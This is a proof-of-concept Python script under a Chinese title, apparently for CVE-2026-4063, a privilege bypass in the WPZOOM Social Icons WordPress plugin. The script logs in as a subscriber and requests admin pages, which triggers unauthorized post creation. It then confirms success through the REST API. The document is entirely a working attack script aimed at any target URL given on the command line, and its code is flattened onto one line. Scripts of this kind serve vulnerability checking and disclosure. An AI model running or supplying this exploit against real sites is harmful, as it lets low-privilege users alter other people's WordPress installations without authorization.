CVE-2026-4063 WordPress WPZOOM社交图标插件权限绕过漏洞

import requests import sys # CVE-2026-4063 PoC - WPZOOM Social Icons Plugin Privilege Bypass # Target: WordPress site with vulnerable WPZOOM Social Icons Widget plugin (<=4.5.8) def check_vulnerability(target_url, username, password): """ Check if target WordPress site is vulnerable to CVE-2026-4063 This vulnerability allows low-privilege users to trigger sharing configuration creation """ session = requests.Session() # Step 1: Login with low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful as subscriber") # Step 2: Trigger the vulnerability by accessing admin pages # The add_menu_item() method is hooked to admin_menu # Any admin page access will trigger wp_insert_post() admin_pages = [ '/wp-admin/index.php', '/wp-admin/', '/wp-admin/edit.php' ] for page in admin_pages: resp = session.get(f"{target_url}{page}") if resp.status_code == 200: print(f"[+] Accessed {page} - triggered vulnerability") # Step 3: Check if wpzoom-sharing post was created query_url = f"{target_url}/wp-json/wp/v2/posts?search=wpzoom-sharing" resp = session.get(query_url) if resp.status_code == 200: data = resp.json() if data and len(data) > 0: print(f"[!] Vulnerability confirmed! Found {len(data)} sharing config post(s)") for post in data: print(f" Post ID: {post['id']}, Title: {post['title']['rendered']}") return True print("[-] No sharing config found (plugin may be patched or different version)") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1].rstrip('/') user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)